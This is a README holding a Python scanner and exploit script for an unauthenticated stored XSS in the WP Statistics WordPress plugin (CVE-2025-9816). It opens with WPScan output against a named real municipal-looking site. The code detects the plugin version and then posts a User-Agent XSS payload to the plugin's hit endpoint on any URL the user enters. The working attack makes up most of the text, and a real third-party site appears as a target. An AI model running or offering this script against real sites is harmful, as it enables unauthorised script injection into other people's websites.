README.md
Rendering markdown...
# [+] wp-statistics
# | Location: https://shahrdariarad.ir/wp-content/plugins/wp-statistics/
# | Last Updated: 2025-09-21T07:58:00.000Z
# | Readme: https://shahrdariarad.ir/wp-content/plugins/wp-statistics/readme.txt
# | [!] The version is out of date, the latest version is 14.15.5
# |
# | Found By: Known Locations (Aggressive Detection)
# | - https://shahrdariarad.ir/wp-content/plugins/wp-statistics/, status: 403
# |
# | [!] 1 vulnerability identified:
# |
# | [!] Title: WP Statistics < 14.15.5 - Unauthenticated Stored XSS via User-Agent Header
# | Fixed in: 14.15.5
# | References:
# | - https://wpscan.com/vulnerability/c815babc-2a9d-4d2a-901e-13b4825526f1
# | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-9816
# | - https://www.wordfence.com/threat-intel/vulnerabilities/id/d8351204-da6d-443a-98b5-0608bfb1e9d0
# |
# | Version: 14.15.2 (100% confidence)
# | Found By: Readme - Stable Tag (Aggressive Detection)
# | - https://shahrdariarad.ir/wp-content/plugins/wp-statistics/readme.txt
# | Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
# | - https://shahrdariarad.ir/wp-content/plugins/wp-statistics/readme.txt
import sys
import requests
from random import uniform
import re
from log.logger import logger
import keyboard
import os
import sys
from time import sleep
wp_statistic_default_route = "/wp-content/plugins/wp-statistics/readme.txt"
class color:
HEADER = '\033[95m'
OKBLUE = '\033[94m'
OKCYAN = '\033[96m'
OKGREEN = '\033[92m'
WARNING = '\033[93m'
FAIL = '\033[91m'
ENDC = '\033[0m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'
def check_plugin_route(base_domain: str):
try:
http_headers = {
"Sec-Ch-Ua": "\"Not;A=Brand\";v=\"24\", \"Chromium\";v=\"128\"",
"Sec-Ch-Ua-Mobile": "?0",
"Sec-Ch-Ua-Platform": "\"Windows\"",
"Accept-Language": "en-US,en;q=0.9",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"Sec-Fetch-Site": "none",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-User": "?1",
"Sec-Fetch-Dest": "document",
"Accept-Encoding": "gzip",
"Priority": "u=0, i",
"Connection": "keep-alive"
}
response = requests.get(
url=base_domain + wp_statistic_default_route,
headers=http_headers,
timeout=10,
allow_redirects=True,
verify=False
)
if response.status_code == 200:
return True, response.text
else:
return False, None
except Exception as e:
logger.error(f"Error: {e}")
return False, None
def extract_plugin_version(readme_response: str):
try:
pattern = r'Stable\s+tag:\s*([\d.]+)'
match_text = re.search(pattern, readme_response)
if match_text:
return match_text.group(1)
else:
return None
except Exception as e:
logger.error(f"Error: {e}")
return None
def check_vulnerable_version(input_version: str):
try:
version_parser = map(int, (input_version + '.0.0').split('.')[:3])
splited_version = tuple(version_parser)
if splited_version < (14, 15, 5):
return True
else:
return False
except Exception as e:
logger.error(f"Error: {e}")
return False
def stored_xss_poc(base_url: str):
try:
vulnerable_route = "/wp-json/wp-statistics/v2/hit"
http_headers = {"Sec-Ch-Ua": "\"Not;A=Brand\";v=\"24\", \"Chromium\";v=\"128\"",
"Content-Type": "application/x-www-form-urlencoded",
"Accept-Language": "en-US,en;q=0.9",
"Sec-Ch-Ua-Mobile": "?0",
"User-Agent": "OnXSS%3d%3cImg%2fSrc%2fOnError%3d(alert)(1)%3e",
"Sec-Ch-Ua-Platform": "\"Windows\"",
"Accept": "*/*",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-Mode": "cors",
"Sec-Fetch-Dest": "empty",
"Priority": "u=1, i"
}
http_data = {
"wp_statistics_hit": "1",
"source_type": "home",
"source_id": "1546",
"search_query": '',
"signature": "3edafe75d3c61b1db8113226df25dc5e",
"endpoint": "hit",
"referred": '',
"page_uri": "Lw=="
}
sxss_response = requests.post(
url=base_url + vulnerable_route,
headers=http_headers,
data=http_data,
timeout=10,
verify=False
)
if sxss_response.status_code == 200:
return sxss_response.text
else:
print(sxss_response.text)
return None
except Exception as e:
logger.error(f"Error: {e}")
def type_text_like_human(text: str, min_delay = 0.03, max_delay = 0.12):
for char in text:
sys.stdout.write(char)
sys.stdout.flush()
sleep(uniform(min_delay, max_delay))
def clear_screen():
os.system('cls' if os.name == 'nt' else 'clear')
def scan(url: str):
try:
if url is None or len(url) == 0:
logger.error(f"Error: URL is Empty... Try again")
return None
else:
if url[-1] == '/':
url = url[:-1]
route_exist, route_data = check_plugin_route(url)
if route_exist:
print(f"[X] Route {color.OKGREEN}{url+wp_statistic_default_route}{color.ENDC}", "Exist.")
extracted_version = extract_plugin_version(route_data)
print(f"[X] Detected version {color.OKGREEN} Version:{color.ENDC} {color.OKCYAN}{extracted_version}{color.ENDC}")
if check_vulnerable_version(extracted_version):
attack_response = stored_xss_poc(base_url=url)
if attack_response == '{"status":true}':
print("[X] Target is", color.FAIL + "Vulnerable" + color.ENDC)
else:
print(attack_response)
except Exception as e:
logger.error(f"Error: {e}")
# domain = "https://shahrdariarad.ir"
# response = check_plugin_route(domain)
# extracted_version = extract_plugin_version(response)
# print(extracted_version)
# if check_vulnerable_version(extracted_version):
# if stored_xss_poc(base_url=domain) == '{"status":true}':
# print("Vulnerable")
def terminal_menu_keyboard(options):
selected = 0
print("Use Ctrl+C")
while True:
clear_screen()
print("""
.oPYo. o o .oPYo. .oPYo. .oPYo. .oPYo. oooooo .oPYo. .PY. .o .pPYo.
8 8 8 8 8. `8 8 .o8 `8 8 8' `8 8 8 8 8
8 8 8 `boo oP' 8 .P'8 oP' 8pPYo. 8. .8 .oPYo. 8 8oPYo.
8 `b d' .P ooooo .oP' 8.d' 8 .oP' `8 ooooo `YooP8 8' `8 8 8' `8
8 8 `b d' 8 8' 8o' 8 8' .P .P 8. .P 8 8. .P
`YooP' `8' `YooP' 8ooooo `YooP' 8ooooo `YooP' `YooP' `YooP' 8 `YooP'
:.....::::::..::::::.....:::::::::::.......:::.....:::.......:::.....::::::::::::.....::::.....::::..:::.....:
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
""")
print("=== Menu ===")
for i, option in enumerate(options):
prefix = " ➤ " if i == selected else " "
print(f"{prefix}{option}")
print("\nUse ↑,↓ and Enter")
event = keyboard.read_event(suppress=True)
if event.event_type == keyboard.KEY_DOWN:
key = event.name
if key == 'up' and selected > 0:
selected -= 1
elif key == 'down' and selected < len(options) - 1:
selected += 1
elif key == 'enter':
if options.index(options[selected]) == 0:
clear_screen()
type_text_like_human(text="You must enter your url-target...\n")
type_text_like_human(text="Example: https://vulnerable.com\n")
domain = input("Enter URL: ")
scan(url=domain)
if options.index(options[selected]) == 1:
print("Choosed 2")
if options.index(options[selected]) == 2:
print("Choosed 3")
if options.index(options[selected]) == 3:
sys.exit()
# print(f"Your choice: {options[selected]}")
# print(f"Chooosed {options.index(options[selected])}")
# input("\nPress Enter to Continue...")
return options[selected]
if __name__ == "__main__":
items = ["Scan single domain", "Scan a list of domains", "About Developer", "Exit"]
result = terminal_menu_keyboard(items)
# print("Result:", result)